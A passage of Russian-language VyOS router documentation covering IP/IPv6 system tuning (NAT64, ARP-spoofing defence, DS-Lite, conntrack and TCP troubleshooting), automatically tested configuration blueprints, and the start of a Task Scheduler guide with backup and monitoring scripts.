set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:db8:1::1

# DNS64 (через bind9 или unbound)
# Требует установки дополнительного ПО
# См. документацию DNS для настройки DNS64

# NAT64 (через Jool или Tayga)
# Требует установки дополнительного ПО

commit
save
```

**Установка Tayga для NAT64**:
```bash
# Установить tayga
sudo apt-get update
sudo apt-get install tayga

# Конфигурация tayga
sudo tee /etc/tayga.conf > /dev/null <<'EOF'
tun-device nat64
ipv4-addr 192.0.2.1
ipv6-addr 2001:db8:ffff::1
prefix 64:ff9b::/96
dynamic-pool 192.0.2.128/25
data-dir /var/spool/tayga
EOF

# Включить IP forwarding для tayga
sudo systemctl enable tayga
sudo systemctl start tayga

# Маршрутизация для NAT64
sudo ip route add 64:ff9b::/96 dev nat64
```

**Проверка NAT64**:
```bash
# С IPv6-only клиента
ping6 64:ff9b::8.8.8.8
# Это будет переведено в IPv4 ping к 8.8.8.8
```

### 5. Роутер с ARP spoofing защитой

**Задача**: Защитить локальную сеть от ARP spoofing атак.

```bash
# Ограниченный ARP reply mode
set system ip arp-reply-mode restricted

# Статические ARP записи для критичных серверов
set protocols static arp 192.168.1.10 hwaddr 00:50:56:12:34:56
set protocols static arp 192.168.1.11 hwaddr 00:50:56:12:34:57
set protocols static arp 192.168.1.12 hwaddr 00:50:56:12:34:58

commit
save
```

**Dynamic ARP Inspection через firewall**:
```bash
# Создать whitelist разрешенных MAC-адресов
set firewall group mac-group TRUSTED_MACS mac-address 00:50:56:12:34:56
set firewall group mac-group TRUSTED_MACS mac-address 00:50:56:12:34:57
set firewall group mac-group TRUSTED_MACS mac-address 00:50:56:12:34:58

# Блокировать ARP от неизвестных устройств (требует custom script)
# VyOS не имеет встроенного DAI, требуется bridge + ebtables
```

**Мониторинг ARP**:
```bash
# Скрипт для мониторинга ARP изменений
sudo tee /config/scripts/arp-monitor.sh > /dev/null <<'EOF'
#!/bin/bash
# Мониторинг ARP таблицы и алертинг на изменения

ARP_LOG="/var/log/arp-changes.log"
TELEGRAM_BOT_TOKEN="YOUR_TOKEN"
TELEGRAM_CHAT_ID="YOUR_CHAT_ID"

send_alert() {
    local message="$1"
    curl -s -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage" \
        -d "chat_id=$TELEGRAM_CHAT_ID" \
        -d "text=$message" > /dev/null
}

# Сохранить текущую ARP таблицу
CURRENT_ARP=$(ip neigh show | sort)

# Сравнить с предыдущей
if [ -f /tmp/previous_arp.txt ]; then
    DIFF=$(diff /tmp/previous_arp.txt <(echo "$CURRENT_ARP"))

    if [ -n "$DIFF" ]; then
        echo "$(date): ARP table changed" >> "$ARP_LOG"
        echo "$DIFF" >> "$ARP_LOG"

        # Отправить алерт
        send_alert "ARP Table Changed on $(hostname):
$DIFF"
    fi
fi

# Сохранить для следующей проверки
echo "$CURRENT_ARP" > /tmp/previous_arp.txt
EOF

sudo chmod +x /config/scripts/arp-monitor.sh

# Запланировать проверку каждые 5 минут
set system task-scheduler task arp-monitor interval '*/5 * * * *'
set system task-scheduler task arp-monitor executable path '/config/scripts/arp-monitor.sh'

commit
save
```

### 6. Роутер для IPv6 Transition (Dual-Stack Lite)

**Задача**: Настроить DS-Lite для провайдера с дефицитом IPv4 адресов.

```bash
# IPv6 на WAN (от провайдера)
set interfaces ethernet eth0 address dhcpv6
set interfaces ethernet eth0 ipv6 address autoconf

# IPv4 на LAN (приватная сеть)
set interfaces ethernet eth1 address 192.168.1.1/24

# DHCP для клиентов
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1

# DS-Lite туннель (AFTR endpoint от провайдера)
set interfaces tunnel tun0 encapsulation ipip6
set interfaces tunnel tun0 source-address 2001:db8:1::2
set interfaces tunnel tun0 remote 2001:db8:aftr::1
set interfaces tunnel tun0 address 192.0.0.2/30

# Маршрутизация IPv4 через туннель
set protocols static route 0.0.0.0/0 interface tun0

commit
save
```

**Примечание**: DS-Lite требует поддержки провайдера (AFTR - Address Family Transition Router). Провайдер должен предоставить адрес AFTR endpoint.

## Мониторинг и диагностика

### Операционные команды

```bash
# Показать текущие IP параметры
show system ip

# Показать IPv6 параметры
show system ipv6

# ARP таблица
show arp

# IPv6 neighbor таблица
show ipv6 neighbors

# Connection tracking statistics
show conntrack table ipv4
show conntrack table ipv6

# Статистика ICMP
show interfaces ethernet eth0 statistics

# TCP статистика
netstat -s
```

### Sysctl параметры

```bash
# Показать все IP-related sysctl
sysctl -a | grep net.ipv4
sysctl -a | grep net.ipv6

# Проверить конкретный параметр
sysctl net.ipv4.ip_forward
sysctl net.ipv4.conf.all.rp_filter

# Изменить временно (до перезагрузки)
sudo sysctl -w net.ipv4.tcp_syncookies=1

# Показать все измененные параметры
sudo sysctl -a | grep -v "= 0$"
```

### Connection Tracking

```bash
# Количество conntrack записей
cat /proc/sys/net/netfilter/nf_conntrack_count

# Максимум conntrack
cat /proc/sys/net/netfilter/nf_conntrack_max

# Conntrack таблица
conntrack -L

# Статистика conntrack
cat /proc/net/stat/nf_conntrack

# Топ источников по количеству соединений
conntrack -L | awk '{print $5}' | cut -d= -f2 | sort | uniq -c | sort -rn | head -10
```

### Performance Monitoring

```bash
# Проверить network drops
netstat -s | grep -i drop

# Проверить TCP retransmits
netstat -s | grep -i retrans

# Проверить UDP statistics
netstat -s | grep -i udp

# Interface statistics
show interfaces ethernet eth0 statistics
```

## Устранение неполадок

### 1. IP forwarding не работает

**Симптомы**: Клиенты не могут получить доступ в интернет через роутер.

**Проверка**:
```bash
# Проверить IP forwarding
sysctl net.ipv4.ip_forward
# Должно быть: net.ipv4.ip_forward = 1

# Проверить конфигурацию VyOS
show configuration system ip | grep forwarding
# Не должно быть: disable-forwarding
```

**Решение**:
```bash
# Если forwarding отключен - удалить disable
delete system ip disable-forwarding

commit
save

# Проверить в ядре
sudo sysctl -w net.ipv4.ip_forward=1
```

### 2. IPv6 connectivity отсутствует

**Симптомы**: IPv4 работает, IPv6 нет.

**Проверка**:
```bash
# Проверить IPv6 forwarding
sysctl net.ipv6.conf.all.forwarding
# Должно быть: 1

# Проверить, не отключен ли IPv6
show configuration system ipv6

# Проверить IPv6 адреса на интерфейсах
show interfaces

# Проверить IPv6 connectivity
ping6 2001:4860:4860::8888
```

**Решение**:
```bash
# Если IPv6 отключен - включить
delete system ipv6 disable

commit
save

# Проверить Router Advertisement (если это LAN)
show service router-advert

# Проверить firewall (не блокирует ли ICMPv6)
show firewall
# ICMPv6 types 133-137 должны быть разрешены
```

### 3. Conntrack table переполнена

**Симптомы**: "nf_conntrack: table full, dropping packet" в логах.

**Проверка**:
```bash
# Текущее количество conntrack записей
cat /proc/sys/net/netfilter/nf_conntrack_count

# Максимум
cat /proc/sys/net/netfilter/nf_conntrack_max

# Если count близко к max - таблица заполнена
```

**Решение**:
```bash
# Увеличить nf_conntrack_max
sudo sysctl -w net.netfilter.nf_conntrack_max=262144

# Увеличить hashsize
echo 65536 | sudo tee /sys/module/nf_conntrack/parameters/hashsize

# Уменьшить timeout для established соединений
sudo sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=3600

# Сделать постоянным
sudo tee /etc/sysctl.d/99-conntrack.conf > /dev/null <<'EOF'
net.netfilter.nf_conntrack_max = 262144
net.netfilter.nf_conntrack_tcp_timeout_established = 3600
EOF

sudo sysctl -p /etc/sysctl.d/99-conntrack.conf
```

### 4. ARP cache переполнен

**Симптомы**: Не удается получить ARP для новых хостов.

**Проверка**:
```bash
# Размер ARP cache
ip neigh show | wc -l

# Проверить sysctl пороги
sysctl net.ipv4.neigh.default.gc_thresh1
sysctl net.ipv4.neigh.default.gc_thresh2
sysctl net.ipv4.neigh.default.gc_thresh3
```

**Решение**:
```bash
# Увеличить ARP cache thresholds
sudo sysctl -w net.ipv4.neigh.default.gc_thresh1=2048
sudo sysctl -w net.ipv4.neigh.default.gc_thresh2=4096
sudo sysctl -w net.ipv4.neigh.default.gc_thresh3=8192

# Для IPv6
sudo sysctl -w net.ipv6.neigh.default.gc_thresh1=2048
sudo sysctl -w net.ipv6.neigh.default.gc_thresh2=4096
sudo sysctl -w net.ipv6.neigh.default.gc_thresh3=8192

# Сделать постоянным
sudo tee /etc/sysctl.d/99-arp-cache.conf > /dev/null <<'EOF'
net.ipv4.neigh.default.gc_thresh1 = 2048
net.ipv4.neigh.default.gc_thresh2 = 4096
net.ipv4.neigh.default.gc_thresh3 = 8192
net.ipv6.neigh.default.gc_thresh1 = 2048
net.ipv6.neigh.default.gc_thresh2 = 4096
net.ipv6.neigh.default.gc_thresh3 = 8192
EOF

sudo sysctl -p /etc/sysctl.d/99-arp-cache.conf
```

### 5. Низкая производительность TCP

**Симптомы**: Медленная скорость загрузки/выгрузки больших файлов.

**Проверка**:
```bash
# Проверить TCP буферы
sysctl net.ipv4.tcp_rmem
sysctl net.ipv4.tcp_wmem

# Проверить window scaling
sysctl net.ipv4.tcp_window_scaling

# Проверить congestion control
sysctl net.ipv4.tcp_congestion_control
```

**Решение**:
```bash
# Увеличить TCP буферы
sudo sysctl -w net.core.rmem_max=16777216
sudo sysctl -w net.core.wmem_max=16777216
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 16777216"
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 16777216"

# Включить важные опции
sudo sysctl -w net.ipv4.tcp_window_scaling=1
sudo sysctl -w net.ipv4.tcp_timestamps=1
sudo sysctl -w net.ipv4.tcp_sack=1

# Использовать BBR для congestion control (требует Linux 4.9+)
sudo sysctl -w net.core.default_qdisc=fq
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr

# Сделать постоянным
sudo tee /etc/sysctl.d/99-tcp-performance.conf > /dev/null <<'EOF'
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr
EOF

sudo sysctl -p /etc/sysctl.d/99-tcp-performance.conf
```

### 6. RP filter блокирует легитимный трафик

**Симптомы**: Ассиметричная маршрутизация не работает, пакеты дропаются.

**Проверка**:
```bash
# Проверить RP filter режим
sysctl net.ipv4.conf.all.rp_filter

# Проверить логи (если включен log_martians)
dmesg | grep -i "martian"

# Проверить VyOS конфигурацию
show configuration system ip | grep source-validation
```

**Решение**:
```bash
# Переключить на loose mode (менее строгий)
delete system ip source-validation
set system ip source-validation loose

commit
save

# Или отключить RP filter для конкретных интерфейсов
sudo sysctl -w net.ipv4.conf.eth1.rp_filter=0

# Для постоянного применения
sudo tee /etc/sysctl.d/99-rp-filter.conf > /dev/null <<'EOF'
net.ipv4.conf.eth1.rp_filter = 0
EOF
```

## Лучшие практики

1. **IP Forwarding**
   - Оставлять включенным на роутерах (по умолчанию)
   - Отключать только на firewall без маршрутизации
   - Проверять после обновления VyOS

2. **Source Validation (RP Filter)**
   - Использовать strict mode на edge роутерах
   - Использовать loose mode при ассиметричной маршрутизации
   - Отключать только в крайних случаях (VRF, сложная топология)

3. **IPv6 Configuration**
   - Включать IPv6, даже если не используется сейчас
   - Планировать dual-stack с самого начала
   - Использовать Router Advertisement для SLAAC
   - DHCPv6 для дополнительных опций (DNS)

4. **Connection Tracking**
   - Увеличивать nf_conntrack_max на высоконагруженных роутерах
   - Мониторить conntrack count/max ratio
   - Настраивать timeouts под нагрузку
   - Hashsize = conntrack_max / 8 (оптимально)

5. **Performance Tuning**
   - Увеличивать TCP буферы для WAN > 100 Mbps
   - Использовать BBR congestion control для низкой latency
   - Включать TCP window scaling, SACK, timestamps
   - Настраивать IRQ балансировку на многоядерных системах

6. **Security**
   - Отключать ICMP redirects на WAN
   - Блокировать bogon источники на edge
   - Включать SYN cookies для защиты от SYN flood
   - Rate limiting для ICMP

7. **ARP/Neighbor Cache**
   - Увеличивать thresholds для больших сетей (>1000 хостов)
   - Использовать статические ARP для критичных серверов
   - Мониторить ARP изменения для обнаружения spoofing

8. **Multipath Routing**
   - Использовать layer4-hashing для сохранения порядка пакетов
   - Применять как для IPv4, так и для IPv6
   - Необходимо для ECMP и load balancing

9. **Monitoring**
   - Мониторить conntrack usage
   - Отслеживать TCP retransmits
   - Проверять network drops
   - Логировать martians на edge роутерах

10. **Documentation**
    - Документировать все нестандартные sysctl параметры
    - Хранить конфигурационные файлы в /etc/sysctl.d/
    - Использовать описательные имена файлов
    - Тестировать изменения перед production

## Заключение

Правильная конфигурация системных параметров IP и IPv6 критична для производительности, безопасности и стабильности работы VyOS роутера. Настройка RP filter, multipath routing, connection tracking, TCP параметров и других опций сетевого стека позволяет оптимизировать роутер под конкретные требования сети - от edge роутера с защитой от spoofing до высокопроизводительного ЦОД маршрутизатора.


---

# Configuration Blueprints - Autotest конфигурации

Source: https://opennix.org/docs/vyos/examples/vyos-blueprints/


Configuration Blueprints (Autotest) - это коллекция автоматически протестированных примеров конфигурации VyOS. Каждый blueprint проходит полный жизненный цикл автоматизированного тестирования на платформе EVE-NG, что гарантирует работоспособность конфигурации.

## Что такое Configuration Blueprints

Configuration Blueprints - это production-ready примеры конфигурации, которые:

- **Автоматически тестируются** на реальной лабораторной среде EVE-NG
- **Полностью валидируются** через набор автоматических тестов
- **Регулярно обновляются** при выходе новых версий VyOS
- **Документируются автоматически** на основе результатов тестирования
- **Гарантируют работоспособность** на указанных версиях VyOS

В отличие от обычных configuration examples, blueprints проходят автоматическую верификацию на каждом этапе, что обеспечивает высокую надежность конфигурации.

## Процесс автоматического тестирования

Каждый blueprint проходит следующие этапы:

### 1. Создание лаборатории

```bash
# Автоматическое создание lab на EVE-NG сервере
- Загрузка topology definition
- Создание виртуальных роутеров
- Настройка сетевых связей
- Конфигурация vyos-oobm proxy host
```

### 2. Конфигурация устройств

```bash
# Применение configuration на каждом роутере
- SSH подключение через vyos-oobm proxy
- Применение базовой конфигурации
- Настройка сетевых интерфейсов
- Конфигурация протоколов и сервисов
- Commit и save конфигурации
```

### 3. Выполнение тестов

```bash
# Набор автоматических тестов
- Проверка connectivity (ping, traceroute)
- Валидация routing tables
- Проверка состояния протоколов (BGP, OSPF)
- Тестирование сервисов (DHCP, DNS, VPN)
- Проверка firewall правил
- Performance тесты
```

### 4. Upgrade и повторное тестирование (опционально)

```bash
# Тестирование на новых версиях
- Upgrade VyOS до более новой версии
- Повторный прогон всех тестов
- Валидация миграции конфигурации
- Проверка backward compatibility
```

### 5. Генерация документации

```bash
# Автоматическая генерация документации
- Извлечение финальной конфигурации
- Сбор результатов тестов
- Создание topology диаграмм
- Формирование markdown документации
- Публикация в docs
```

### 6. Очистка лаборатории

```bash
# Удаление lab (если не было ошибок)
- Shutdown всех устройств
- Удаление lab на EVE-NG
- Освобождение ресурсов
```

## Доступные Blueprint Examples

### DHCP Relay through GRE-Bridge

**Сценарий**: DHCP relay через GRE туннель между сегментами сети

**Топология**:
```
[DHCP Client] --- [VyOS Relay] === GRE Tunnel === [VyOS Server] --- [DHCP Server]
                     |                                    |
                  [Transport Network (ISP/WAN)]
```

**Основные компоненты**:
- GRETAP encapsulation для L2 connectivity
- DHCP relay agent на клиентской стороне
- DHCP server на серверной стороне
- Transport network между relay и server

**Применение**:
- Service Provider сценарии
- Централизованный DHCP management
- DHCP через WAN/Internet
- Multi-site DHCP архитектуры

**Tested on**: VyOS 1.4-rolling-202305100734

[Полная документация DHCP Relay GRE](/docs/vyos/examples/dhcp-relay-gre/)

### Tunnelbroker.net (IPv6)

**Сценарий**: IPv6 connectivity через Hurricane Electric Tunnelbroker

**Топология**:
```
[VyOS WAN Router] === IPv6-in-IPv4 Tunnel === [Tunnelbroker HE]
         |
    [IPv6 LAN]
      - Single LAN: /64 prefix
      - Multiple LANs: /48 prefix (multiple /64 subnets)
```

**Основные компоненты**:
- SIT (Simple Internet Transition) tunnel
- IPv6 addressing и routing
- Router Advertisement для LAN
- Firewall IPv6 rules

**Применение**:
- IPv6 connectivity для IPv4-only провайдеров
- Тестирование IPv6 в production
- Dual-stack networks
- IPv6 для home/SOHO сетей

**Tested on**: VyOS 1.5-rolling-202401130318

[Полная документация Tunnelbroker](/docs/vyos/examples/tunnelbroker-ipv6/)

### L3VPN EVPN with VyOS

**Сценарий**: Multi-tenant datacenter L3VPN на базе EVPN

**Топология**:
```
[PE1] ---- [PE2]
  \         /
   \       /
    [PE3]

Multi-tenant VRFs:
- Blue VRF (VNI 2000)
- Red VRF (VNI 3000)
- Green VRF (VNI 4000)
```

**Основные компоненты**:
- VXLAN data plane
- BGP EVPN control plane
- VRF для tenant isolation
- OSPF как IGP
- Management VRF для OOB access

**Применение**:
- Datacenter multi-tenancy
- Cloud service providers
- Enterprise WAN segmentation
- Network function virtualization (NFV)

**Tested on**: VyOS 1.4/1.5-rolling

[Полная документация L3VPN EVPN](/docs/vyos/examples/l3vpn-evpn/)

### WireGuard VPN

**Сценарий**: Modern VPN на базе WireGuard protocol

**Основные компоненты**:
- WireGuard interface configuration
- Public/Private key management
- Peer configuration
- Routing через VPN tunnel
- Firewall rules для VPN

**Применение**:
- Site-to-Site VPN (более быстрая альтернатива IPsec)
- Remote Access VPN
- Container-to-Container encryption
- IoT device connectivity

**Tested on**: VyOS 1.4/1.5-rolling

### OpenVPN with LDAP

**Сценарий**: Enterprise Remote Access VPN с LDAP authentication

**Основные компоненты**:
- OpenVPN server configuration
- LDAP backend integration
- Certificate management (PKI)
- Client configuration generation
- RADIUS authentication (опционально)

**Применение**:
- Enterprise Remote Access
- Active Directory integration
- Centralized user management
- Multi-factor authentication (MFA) ready

**Tested on**: VyOS 1.4/1.5-rolling

[Полная документация OpenVPN LDAP](/docs/vyos/examples/openvpn-ldap/)

## Архитектура тестирования

### EVE-NG Platform

Configuration Blueprints используют EVE-NG (Emulated Virtual Environment - Next Generation) для создания виртуальных лабораторий:

**Преимущества EVE-NG**:
- Эмуляция реальной сетевой топологии
- Поддержка множества network OS (VyOS, Cisco, Juniper)
- Графический интерфейс для визуализации
- API для автоматизации
- Snapshot и restore функциональность

### vyos-oobm Proxy Host

Специальный out-of-band management host для:
- SSH proxy для доступа к lab устройствам
- Запуск automation scripts
- Сбор логов и результатов тестов
- Координация test execution

### Test Framework

Автоматизированная система тестирования включает:

```python
# Пример test case структуры
class DHCPRelayGRETest:
    def setup_lab(self):
        # Создание EVE-NG lab
        pass

    def configure_devices(self):
        # Применение конфигураций
        pass

    def test_connectivity(self):
        # Ping tests
        assert ping(source, destination) == 0

    def test_dhcp_lease(self):
        # DHCP lease verification
        assert client.has_ip_address()

    def test_routing(self):
        # Routing table checks
        assert route_exists(destination)

    def cleanup_lab(self):
        # Удаление lab
        pass
```

## Отличия от Configuration Examples

| Aspect | Configuration Examples | Configuration Blueprints |
|--------|----------------------|-------------------------|
| **Тестирование** | Manual testing | Automated testing |
| **Верификация** | Best-effort | Guaranteed working |
| **Обновления** | Manual | Automatic with new VyOS releases |
| **Документация** | Static | Auto-generated from tests |
| **Версии VyOS** | Generic | Specific tested versions |
| **Сложность** | Simple to advanced | Advanced scenarios only |
| **Maintenance** | Community | Automated system |

## Как использовать Blueprints

### 1. Выбор Blueprint

Определите сценарий, который соответствует вашим требованиям:
- **DHCP Relay GRE**: Централизованный DHCP через WAN
- **Tunnelbroker**: IPv6 connectivity
- **L3VPN EVPN**: Datacenter multi-tenancy
- **WireGuard**: Modern fast VPN
- **OpenVPN LDAP**: Enterprise Remote Access

### 2. Проверка версии VyOS

Каждый blueprint тестируется на конкретной версии VyOS. Убедитесь, что ваша версия совместима:

```bash
show version
# Сравните с "Tested on" в документации blueprint
```

### 3. Адаптация конфигурации

Замените параметры в конфигурации на ваши:
- IP адреса и подсети
- Interface names
- VNI/VLAN IDs
- AS numbers (для BGP)
- Keys и certificates

### 4. Поэтапное применение

Применяйте конфигурацию блоками:

```bash
configure

# Блок 1: Interfaces
set interfaces ethernet eth0 address '10.0.1.1/24'
commit

# Блок 2: Protocols
set protocols ospf area 0
commit

# Блок 3: Services
set service dhcp-server ...
commit

save
```

### 5. Верификация каждого этапа

Используйте команды проверки из документации:

```bash
# Connectivity
ping 10.0.1.1

# Routing
show ip route

# Protocol status
show protocols ospf neighbor

# Service status
show dhcp server leases
```

### 6. Мониторинг и troubleshooting

Если что-то не работает:

```bash
# Логи
show log

# Debug режим
set system syslog global facility all level debug
commit

# Packet capture
monitor traffic interface eth0
```

## Best Practices для Blueprints

### 1. Версионный контроль

Сохраняйте конфигурацию в Git:

```bash
# На VyOS роутере
show configuration commands | save /config/backup.conf

# Copy to git repository
scp vyos@router:/config/backup.conf ./configs/
git add configs/backup.conf
git commit -m "Add VyOS config for blueprint X"
```

### 2. Тестирование в Lab

Перед production deployment:
- Разверните blueprint в тестовой среде
- Проверьте все функции
- Проведите нагрузочные тесты
- Валидируйте failover сценарии

### 3. Документирование изменений

Ведите changelog для адаптированной конфигурации:

```markdown
## Изменения от оригинального blueprint

### DHCP Relay GRE Blueprint
- Changed GRE source: 10.0.10.10 → 192.168.1.1
- Changed DHCP pool: 192.168.0.0/24 → 172.16.50.0/24
- Added firewall rules for production environment
```

### 4. Мониторинг в Production

Настройте мониторинг ключевых метрик:

```bash
# SNMP для мониторинга
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

# Syslog в централизованную систему
set system syslog host 192.168.1.100 facility all level info
```

### 5. Backup стратегия

```bash
# Регулярный backup конфигурации
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'
set system task-scheduler task backup-config interval '1d'

# backup.sh
#!/bin/vbash
source /opt/vyatta/etc/functions/script-template
run show configuration commands | save /config/backups/config-$(date +%Y%m%d).conf
```

## Интеграция с CI/CD

Blueprint конфигурации можно интегрировать в CI/CD pipeline:

### GitLab CI Example

```yaml
# .gitlab-ci.yml
stages:
  - validate
  - test
  - deploy

validate_config:
  stage: validate
  script:
    - vyos-validate-config config.conf
  only:
    - branches

test_lab:
  stage: test
  script:
    - python3 run_eve_ng_test.py --blueprint dhcp-relay-gre
  only:
    - main

deploy_production:
  stage: deploy
  script:
    - ansible-playbook -i inventory vyos-deploy.yml
  when: manual
  only:
    - main
```

### GitHub Actions Example

```yaml
# .github/workflows/vyos-test.yml
name: VyOS Blueprint Test

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Validate VyOS Config
        run: |
          docker run --rm -v $PWD:/config vyos/vyos:latest \
            /opt/vyatta/bin/vyatta-config-loader /config/blueprint.conf
```

## Troubleshooting Blueprints

### Общие проблемы

#### 1. Конфигурация не применяется

```bash
# Проверьте syntax
configure
load /config/blueprint.conf
commit
# Если ошибка - смотрите детали

# Проверьте deprecated commands
show system commit
```

#### 2. Connectivity issues

```bash
# Interface status
show interfaces

# Routing
show ip route
show ipv6 route

# ARP/NDP
show arp
show ipv6 neighbors

# Packet capture
monitor traffic interface eth0 filter "icmp"
```

#### 3. Protocol не поднимается

```bash
# BGP
show bgp summary
show bgp neighbors

# OSPF
show ip ospf neighbor
show ip ospf database

# Debug
debug bgp
debug ospf
```

#### 4. Service не работает

```bash
# DHCP
show dhcp server statistics
show dhcp server leases
show log | match dhcp

# DNS
show dns forwarding statistics

# VPN
show vpn ipsec sa
show vpn wireguard
```

## Версии VyOS и совместимость

Blueprint тестируются на конкретных rolling release версиях:

| Blueprint | VyOS 1.4 (Sagitta) | VyOS 1.5 (Circinus) | Notes |
|-----------|-------------------|---------------------|-------|
| DHCP Relay GRE | 1.4-rolling-202305+ | 1.5-rolling-202401+ | Kea DHCP в 1.5 |
| Tunnelbroker | 1.4-rolling | 1.5-rolling-202401+ | IPv6 changes |
| L3VPN EVPN | 1.4-rolling | 1.5-rolling | FRR updates |
| WireGuard | 1.4-rolling | 1.5-rolling | Stable |
| OpenVPN LDAP | 1.4-rolling | 1.5-rolling | Stable |

**Рекомендация**: Используйте LTS версию (VyOS 1.4 Sagitta) для production, rolling release для тестирования новых features.

## Дополнительные ресурсы

### Документация
- [VyOS Configuration Examples](/docs/vyos/examples/) - Все примеры конфигурации
- [VyOS Official Blueprints](https://docs.vyos.io/en/latest/configexamples/index.html#configuration-blueprints-autotest)
- [EVE-NG Documentation](https://www.eve-ng.net/index.php/documentation/)

### Tools
- [VyOS Ansible Collection](https://galaxy.ansible.com/vyos/vyos) - Automation
- [VyOS API](https://docs.vyos.io/en/latest/automation/vyos-api.html) - REST API
- [Netmiko](https://github.com/ktbyers/netmiko) - SSH automation

### Community
- [VyOS Forum](https://forum.vyos.io/) - Community support
- [VyOS Slack](https://slack.vyos.io/) - Real-time chat
- [GitHub Issues](https://github.com/vyos/vyos-build/issues) - Bug reports

## Заключение

Configuration Blueprints (Autotest) предоставляют высоконадежные, автоматически протестированные примеры конфигурации VyOS для сложных сетевых сценариев. Использование blueprints гарантирует:

- **Работоспособность конфигурации** на указанных версиях
- **Экономию времени** на тестировании и отладке
- **Best practices** от VyOS разработчиков
- **Регулярные обновления** с новыми версиями VyOS

Для production deployments рекомендуется использовать blueprints как starting point, адаптируя их под конкретные требования с сохранением архитектурных принципов.


---

# Task Scheduler (Планировщик задач) в VyOS

Source: https://opennix.org/docs/vyos/system/vyos-task-scheduler/



Task Scheduler в VyOS - это встроенная система для планирования и автоматического выполнения команд и скриптов в определенное время или через регулярные интервалы. Функционал построен на основе системного планировщика cron, но предоставляет удобный интерфейс конфигурации через CLI.

## Обзор

Task Scheduler позволяет:

- Автоматизировать повторяющиеся задачи администрирования
- Выполнять резервное копирование конфигурации по расписанию
- Запускать скрипты мониторинга и диагностики
- Периодически очищать логи и временные файлы
- Выполнять операции обслуживания в нерабочие часы
- Интегрироваться с внешними системами через API-вызовы

### Возможности

- Гибкое расписание: минуты, часы, дни недели, дни месяца, месяцы
- Cron-совместимый синтаксис
- Выполнение как операционных команд VyOS, так и shell-команд
- Интеграция с системой логирования (syslog)
- Поддержка скриптов (bash, python)

## Синтаксис расписания

Task Scheduler использует стандартный cron-синтаксис с пятью полями:

```
* * * * *
│ │ │ │ │
│ │ │ │ └─── День недели (0-7, где 0 и 7 = воскресенье)
│ │ │ └───── Месяц (1-12)
│ │ └─────── День месяца (1-31)
│ └───────── Час (0-23)
└─────────── Минута (0-59)
```

### Специальные символы

| Символ | Описание | Пример |
|--------|----------|--------|
| `*` | Любое значение | `* * * * *` - каждую минуту |
| `,` | Список значений | `0,15,30,45 * * * *` - 0, 15, 30, 45 минут каждого часа |
| `-` | Диапазон значений | `0 9-17 * * *` - каждый час с 9:00 до 17:00 |
| `/` | Шаг (интервал) | `*/5 * * * *` - каждые 5 минут |
| `*/n` | Каждые n единиц | `0 */2 * * *` - каждые 2 часа |

### Примеры расписаний

```bash
# Каждую минуту
* * * * *

# Каждые 5 минут
*/5 * * * *

# Каждый час в 0 минут
0 * * * *

# Ежедневно в 2:30 AM
30 2 * * *

# Каждый понедельник в 9:00 AM
0 9 * * 1

# Первый день каждого месяца в полночь
0 0 1 * *

# Каждые 15 минут в рабочие часы (9-17) в будние дни
*/15 9-17 * * 1-5

# Каждое воскресенье в 3:00 AM
0 3 * * 0
```

## Базовая конфигурация

### Создание задачи

```bash
# Общий синтаксис
set system task-scheduler task <task-name> interval <cron-expression>
set system task-scheduler task <task-name> executable path <command/script>

# Пример: ежедневное резервное копирование конфигурации в 2:00 AM
set system task-scheduler task backup-config interval '0 2 * * *'
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'

commit
save
```

### Выполнение VyOS операционных команд

```bash
# Сохранение конфигурации каждый час
set system task-scheduler task save-config interval '0 * * * *'
set system task-scheduler task save-config executable path '/opt/vyatta/sbin/vyatta-save-config.pl'

commit
save
```

### Выполнение shell-команд

```bash
# Очистка старых логов раз в день
set system task-scheduler task cleanup-logs interval '0 3 * * *'
set system task-scheduler task cleanup-logs executable path '/usr/bin/find /var/log -name "*.gz" -mtime +30 -delete'

commit
save
```

### Задачи с аргументами

```bash
# Скрипт с параметрами
set system task-scheduler task monitor-bandwidth interval '*/10 * * * *'
set system task-scheduler task monitor-bandwidth executable path '/config/scripts/bandwidth-monitor.sh'
set system task-scheduler task monitor-bandwidth executable arguments 'eth0 eth1'

commit
save
```

## Расширенная конфигурация

### Резервное копирование конфигурации на удаленный сервер

```bash
# Создание скрипта резервного копирования
configure
set system task-scheduler task remote-backup interval '0 2 * * *'
set system task-scheduler task remote-backup executable path '/config/scripts/remote-backup.sh'
commit
save
```

Содержимое `/config/scripts/remote-backup.sh`:

```bash
#!/bin/bash

# Конфигурация
BACKUP_SERVER="192.168.1.100"
BACKUP_USER="backup"
BACKUP_DIR="/backups/vyos"
HOSTNAME=$(hostname)
DATE=$(date +%Y%m%d-%H%M%S)
BACKUP_FILE="config-${HOSTNAME}-${DATE}.boot"

# Сохранение текущей конфигурации
/opt/vyatta/sbin/vyatta-save-config.pl /tmp/${BACKUP_FILE}

# Копирование на удаленный сервер через SCP
scp -i /config/auth/backup-key /tmp/${BACKUP_FILE} ${BACKUP_USER}@${BACKUP_SERVER}:${BACKUP_DIR}/

# Очистка локального файла
rm -f /tmp/${BACKUP_FILE}

# Логирование
logger -t remote-backup "Configuration backed up to ${BACKUP_SERVER}"

# Удаление старых бэкапов (старше 30 дней) на удаленном сервере
ssh -i /config/auth/backup-key ${BACKUP_USER}@${BACKUP_SERVER} \
  "find ${BACKUP_DIR} -name 'config-${HOSTNAME}-*.boot' -mtime +30 -delete"
```

